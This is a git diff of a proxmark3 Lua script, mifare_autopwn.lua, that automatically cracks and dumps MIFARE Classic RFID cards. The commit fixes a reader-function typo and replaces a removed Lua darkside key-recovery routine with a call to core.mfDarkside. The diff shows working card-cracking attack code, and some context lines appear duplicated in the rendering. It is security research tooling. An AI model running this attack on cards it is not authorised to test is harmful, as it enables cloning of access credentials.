Fix typo in lua scripts: 1443a -> 14443a.

[proxmark3-svn] / client / scripts / mifare_autopwn.lua

diff --git a/client/scripts/mifare_autopwn.lua b/client/scripts/mifare_autopwn.lua
index eb98ffbf753809d64188a47448286e5760735498..d743f21eb53a10ff0767da4947d59bf830ea15a0 100644 (file)
--- a/client/scripts/mifare_autopwn.lua
+++ b/client/scripts/mifare_autopwn.lua
@@ -8,7 +8,7 @@ author = "Martin Holst Swende"
 
 desc =
 [[
 
 desc =
 [[

-This is a which automates cracking and dumping mifare classic cards. It sets itself into 
+This is a script which automates cracking and dumping mifare classic cards. It sets itself into 

 'listening'-mode, after which it cracks and dumps any mifare classic card that you 
 place by the device. 
 
 'listening'-mode, after which it cracks and dumps any mifare classic card that you 
 place by the device. 
 


@@ -56,73 +56,13 @@ end
 -- @return if unsuccessfull : nil, error
 function wait_for_mifare()
        while not core.ukbhit() do
 -- @return if unsuccessfull : nil, error
 function wait_for_mifare()
        while not core.ukbhit() do

-               res, err = reader.read1443a()
+               res, err = reader.read14443a(false, true)

                if res then return res end
                -- err means that there was no response from card
        end
        return nil, "Aborted by user"
 end
 
                if res then return res end
                -- err means that there was no response from card
        end
        return nil, "Aborted by user"
 end
 

-function mfcrack()
-       core.clearCommandBuffer()
-       -- Build the mifare-command
-       local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1}
-       
-       local retry = true
-       while retry do
-               core.SendCommand(cmd:getBytes())
-               local key, errormessage = mfcrack_inner()
-               -- Success?
-               if key then return key end
-               -- Failure? 
-               if errormessage then return nil, errormessage end
-               -- Try again..set arg1 to 0 this time. 
-
-               cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0}
-       end     
-       return nil, "Aborted by user"
-end
-
-
-function mfcrack_inner()
-       while not core.ukbhit() do              
-               local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000)
-               if result then
-                       -- Unpacking the three arg-parameters
-                       local count,cmd,isOK = bin.unpack('LL',result)
-
-                       if isOK ~= 1 then return nil, "Error occurred" end
-
-
-                       -- The data-part is left
-                       -- Starts 32 bytes in, at byte 33
-                       local data = result:sub(33)
-
-                       -- A little helper
-                       local get = function(num)
-                               local x = data:sub(1,num)
-                               data = data:sub(num+1)
-                               return x
-                       end
-
-                       local uid,nt,pl = get(4),get(4),get(8)
-                       local ks,nr = get(8),get(4)
-
-                       local status, key = core.nonce2key(uid,nt, nr, pl,ks)
-                       if not status then return status,key end
-
-                       if status > 0 then 
-                               print("Key not found (lfsr_common_prefix problem)")
-                               -- try again
-                               return nil,nil
-                       else
-                               return key
-                       end
-               end
-       end
-       return nil, "Aborted by user"
-end
-

 function nested(key,sak)
        local typ = 1
        if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k
 function nested(key,sak)
        local typ = 1
        if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k


@@ -184,8 +124,15 @@ function main(args)
                        print("Card found, commencing crack", uid)
                        -- Crack it
                        local key, cnt
                        print("Card found, commencing crack", uid)
                        -- Crack it
                        local key, cnt

-                       res,err = mfcrack()
-                       if not res then return oops(err) end
+                       err, res = core.mfDarkside()
+                       if     err == -1 then return oops("Button pressed. Aborted.") 
+                       elseif err == -2 then return oops("Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests).")
+                       elseif err == -3 then return oops("Card is not vulnerable to Darkside attack (its random number generator is not predictable).")
+                       elseif err == -4 then return oops([[
+Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown
+generating polynomial with 16 effective bits only, but shows unexpected behaviour.]])
+                       elseif err == -5 then return oops("Aborted via keyboard.")
+                       end

                        -- The key is actually 8 bytes, so a 
                        -- 6-byte key is sent as 00XXXXXX
                        -- This means we unpack it as first
                        -- The key is actually 8 bytes, so a 
                        -- 6-byte key is sent as 00XXXXXX
                        -- This means we unpack it as first